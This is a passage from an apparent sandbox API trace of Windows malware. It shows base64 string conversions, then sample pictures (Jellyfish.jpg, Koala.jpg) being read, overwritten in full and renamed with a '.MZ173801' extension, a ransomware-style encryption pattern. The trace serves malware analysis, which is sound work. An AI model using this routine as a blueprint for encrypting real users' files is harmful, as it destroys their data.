QwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0143.603] GetCurrentThreadId () returned 0x9fc [0143.603] GetCurrentThreadId () returned 0x9fc [0143.603] GetCurrentThreadId () returned 0x9fc [0143.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0143.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0143.604] GetCurrentThreadId () returned 0x9fc [0143.604] GetCurrentThreadId () returned 0x9fc [0143.604] GetCurrentThreadId () returned 0x9fc [0143.604] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.604] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0143.604] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.604] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xbd616 [0143.604] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.604] VirtualAlloc (lpAddress=0x0, dwSize=0xc0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eee0000 [0143.605] ReadFile (in: hFile=0x224, lpBuffer=0x7eee0010, nNumberOfBytesToRead=0xbd616, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7eee0010*, lpNumberOfBytesRead=0x18f6c4*=0xbd616, lpOverlapped=0x0) returned 1 [0143.621] CloseHandle (hObject=0x224) returned 1 [0143.621] VirtualAlloc (lpAddress=0x0, dwSize=0xc0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee20000 [0143.624] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7edb0000 [0143.632] VirtualQuery (in: lpAddress=0x7ee20000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ee20000, AllocationBase=0x7ee20000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.632] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed20000 [0143.643] VirtualQuery (in: lpAddress=0x7edb0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7edb0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0143.643] VirtualAlloc (lpAddress=0x7edb0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7edb0000 [0143.644] VirtualAlloc (lpAddress=0x7edb0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7edb0000 [0143.665] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.674] WriteFile (in: hFile=0x224, lpBuffer=0x7ee20010*, nNumberOfBytesToWrite=0xbd616, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7ee20010*, lpNumberOfBytesWritten=0x18f6d0*=0xbd616, lpOverlapped=0x0) returned 1 [0143.691] CloseHandle (hObject=0x224) returned 1 [0143.691] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.MZ173801" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.mz173801")) returned 1 [0143.692] VirtualFree (lpAddress=0x7eee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.697] VirtualFree (lpAddress=0x7ee20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.702] VirtualQuery (in: lpAddress=0x7ed20000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ed20000, AllocationBase=0x7ed20000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.702] VirtualFree (lpAddress=0x7ed20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.713] VirtualQuery (in: lpAddress=0x7edb0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7edb0000, AllocationBase=0x7edb0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.713] VirtualFree (lpAddress=0x7edb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.714] GetCurrentThreadId () returned 0x9fc [0143.714] GetCurrentThreadId () returned 0x9fc [0143.714] GetCurrentThreadId () returned 0x9fc [0143.714] GetCurrentThreadId () returned 0x9fc [0143.714] GetCurrentThreadId () returned 0x9fc [0143.714] GetCurrentThreadId () returned 0x9fc [0143.714] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0143.714] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.715] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f)) returned 1 [0143.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0143.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0143.718] GetCurrentThreadId () returned 0x9fc [0143.718] GetCurrentThreadId () returned 0x9fc [0143.718] GetCurrentThreadId () returned 0x9fc [0143.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0143.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0143.719] GetCurrentThreadId () returned 0x9fc [0143.719] GetCurrentThreadId () returned 0x9fc [0143.719] GetCurrentThreadId () returned 0x9fc [0143.719] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.719] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0143.719] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.719] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xbea1f [0143.719] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.719] VirtualAlloc (lpAddress=0x0, dwSize=0xd0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eed0000 [0143.720] ReadFile (in: hFile=0x224, lpBuffer=0x7eed0010, nNumberOfBytesToRead=0xbea1f, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7eed0010*, lpNumberOfBytesRead=0x18f6c4*=0xbea1f, lpOverlapped=0x0) returned 1 [0143.754] CloseHandle (hObject=0x224) returned 1 [0143.754] VirtualAlloc 